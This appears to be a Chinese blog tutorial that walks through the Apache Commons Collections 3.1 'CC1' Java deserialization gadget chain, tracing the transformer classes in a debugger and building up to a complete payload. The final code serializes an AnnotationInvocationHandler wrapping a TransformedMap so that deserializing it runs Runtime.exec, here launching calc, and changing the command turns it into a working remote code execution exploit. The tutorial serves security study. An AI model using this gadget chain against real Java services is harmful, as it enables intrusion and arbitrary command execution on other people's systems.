Commons Collections简介

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

思路

因为Commons Collections都是一些集合类,集合类一般都可以接受任意对象,所以直接去找方法调用即可

反序列化流程:

image-20230313230345778

环境安装

jdk

jdk一般都用的8u65版本,可以从官网下载

可以再虚拟机中安装,再将jdk拷贝到物理机

image-20230313234356617

之后将里面的scr.zip解压

image-20230313234539112

换源码

其实原生的src里面是没有sun包的。

image-20230313234642187

需要外置导入。
下载JDK对应的openJDK,

openJDK

image-20230313234730649

找到src\share\classes下的sun

image-20230313234857863

复制到jdk下的src下。

image-20230313235703224

构建项目

导入项目

image-20230313235540539

创建一个新的maven项目

image-20230313235855343

再用3.1版本的cc1的maven即可

<dependencies>

    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>

</dependencies>

看到这样的目录我们就构建成功了

image-20230315113321570

Commons Collections命令执行

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformer = new ChainedTransformer(transformers);
        transformer.transform(1);
    }
}

image-20230315104933077

分析

Transformer[] transformers = new Transformer[]{ //数组
                new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer

定义了transformer数组,之后将Runtime.getRuntime()传入到ConstantTransformer中,而我们命令执行的时候需要的就是Runtime.getRuntime()下的exec

跟一下ConstantTransformer

image-20230315111856322

他将Runtime.getRuntime传到iConstant中,而iConstant是个object类型的

image-20230315112415503

可以看到iConstant里面有一个transform方法,可以直接将传入的东西返回出来,

ConstantTransformer->iConstant->Runtime.getRuntime()

之后

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformer = new ChainedTransformer(transformers);
        transformer.transform(1);
    }

这是将InvokerTransformer传入了一串东西,看一下InvokerTransformer构造

image-20230315112943481

接受了三个参数,String类型,Class类型和Object,传入之后就相当于

        iMethodName = exec;
        iParamTypes = String.class;
        iArgs = calc;

为啥要这样传呢,在InvokerTransformer中,有一个transform方法

image-20230315113536152

而其中的

image-20230315113617346

很明显的一个反射执行命令

Class cls = input.getClass();

可以获得一个类

Method method = cls.getMethod(iMethodName, iParamTypes);

可以获得类的方法,而我们之前传进去的

iMethodName = exec;
        iParamTypes = String.class;
        iArgs = calc;

这三个参数,就可以通过getMethod获得,也就是

Method method = cls.getMethod(exec, String.class);

最后执行命令是

return method.invoke(input, iArgs);

直接通过invoke,input就可以是我们传出的Runtime.getRuntime()iArgs其实就是参数,也就是传入的calc,这就造成了命令执行

但他怎么才能命令执行,也就是获取正确的class

在poc中还有一段

Transformer transformer = new ChainedTransformer(transformers);
        transformer.transform(1);

transformers这个数组放到了ChainedTransformer中,追一下ChainedTransformer

image-20230315132029685可以看到他接受的就是一个transformers数组,并且将他放在了iTransformers

而在poc中,对transform传了一个参数

        transformer.transform(1);

追一下这个方法

image-20230315132433511

一个for循环,并且里面的iTransformers是我们之前传的参数,再通过iTransformers[i].transform(object);达到命令执行

跟一下断点

image-20230315133001020

可以看到iTransformers.length一定是二,因为我们上面传的是两个参数,for循环中,当i=0时,就会调用ConstanTransformer.transform(可以看箭头,很明显),同样的道理,当i=1时,调用InvokerTransformer.transform

继续跟进验证一下

image-20230315133321471

确实是,而刚刚我们将Runtime.getRuntime()存到了iConstant

ConstantTransformer->iConstant->Runtime.getRuntime()

直接return

image-20230315133704570

可以看到,现在的object就是我们需要的Runtime.getRuntime(),i=0就完成了,接下来继续i=1,在i=1中objec是等于Runtime.getRuntime()

继续跟

image-20230315134249081

可以看到getMethod中的参数是我们在poc中传入的,而Object input正好是我们要的Runtime.getRuntime(),就命令执行了

image-20230315135230785

cc1链

首先就是接口Transformer

image-20230315210151276

只有一个transform方法,找这个方法的接口类

image-20230315210519002

进去之后就看到了我们之前说的反射类命令执行

image-20230315210557920

就到了InvokerTransformertransform,再往下找哪里调用了InvokerTransformertransform

image-20230316140420813

checkSetValue中调用了valueTransformertransform,再看看valueTransformer是啥

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

保护方法只能被自己调用,再找调用他的函数

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

decorate中调用了TransformedMap给他做了一个封装

再去找调用checkSetValue

image-20230316141104849

setValue中被调用,其中setValue就是entry.map中的一个方法,如果我们吧map都遍历一边,那就肯定会调用到setValue,之后就会调用checkSetValue,进而到我们想要的transform,之后再去找遍历数组的地方,调用setValue

image-20230316144646717

AnnotationInvocationHandler中找到了调用setValue而且遍历map的方法,用反射获取信息

写poc的时候

Runtime r = Runtime.getRuntime();

不能被反序列化因为没有接口,所以用反射来获取他的属性之后再反序列化

        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
        Class c = Runtime.class;

之后将所有transformer放到一个中,就可以只调用一次就可以

                Transformer[] transformers = new Transform[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };


        ChainedTransformer chainedTransformer =  new ChainedTransformer(transforms);
        chainedTransformer.transform(Runtime.class);

之后因为这里有两个if语句也要绕过才能调用setValue

image-20230316155831494

第一个if

if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();

实际上就是让我们找一个有成员方法的class,同时map.put()中的数组要改成成员方法的名字

例如map.put('value','aaa')

第二个if

if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {

判断这两个东西是否能强转,这里肯定是不可以的所有就绕过了两个if了

但setValue实参不可控,但刚开始我们有一个tranform

image-20230316162344996

可以直接返回我们输入的,我们最后调用这个点就可以

Transformer[] transformers = new Transform[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };


        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

最终payload

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

public class cc1 {
    public static void main(String[] args) throws Exception {
//        Transformer[] transformers = new Transformer[]{ //数组
//                new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer
//        Runtime r = Runtime.getRuntime();
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        HashMap<Object, Object> map = new HashMap<Object, Object>();
//        map.put("key","123");
//        Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chaine);
//        //遍历map
//        for(Map.Entry entry:map.entrySet()){
//            entry.setValue(r);
//        }
//        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
//        Class c = Runtime.class;

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);


        HashMap<Object, Object> map = new HashMap<Object, Object>();
        map.put("value","123");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);



//        Method getRuntimeMethod = c.getMethod("getRuntime", null);
//        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");


        Class c =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor a = c.getDeclaredConstructor(Class.class,Map.class);
        //确定可以访问
        a.setAccessible(true);
        Object o =  a.newInstance(Target.class,transformedMap);
        serialize(o);
        unserializ("ser.bin");

//        TransformedMap.decorate(map,null,invokerTransformer);
    }

    ;
    //        Transformer transformer = new ChainedTransformer(transformers);
//        transformer.transform(1);


    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserializ(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

在这里插入图片描述

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐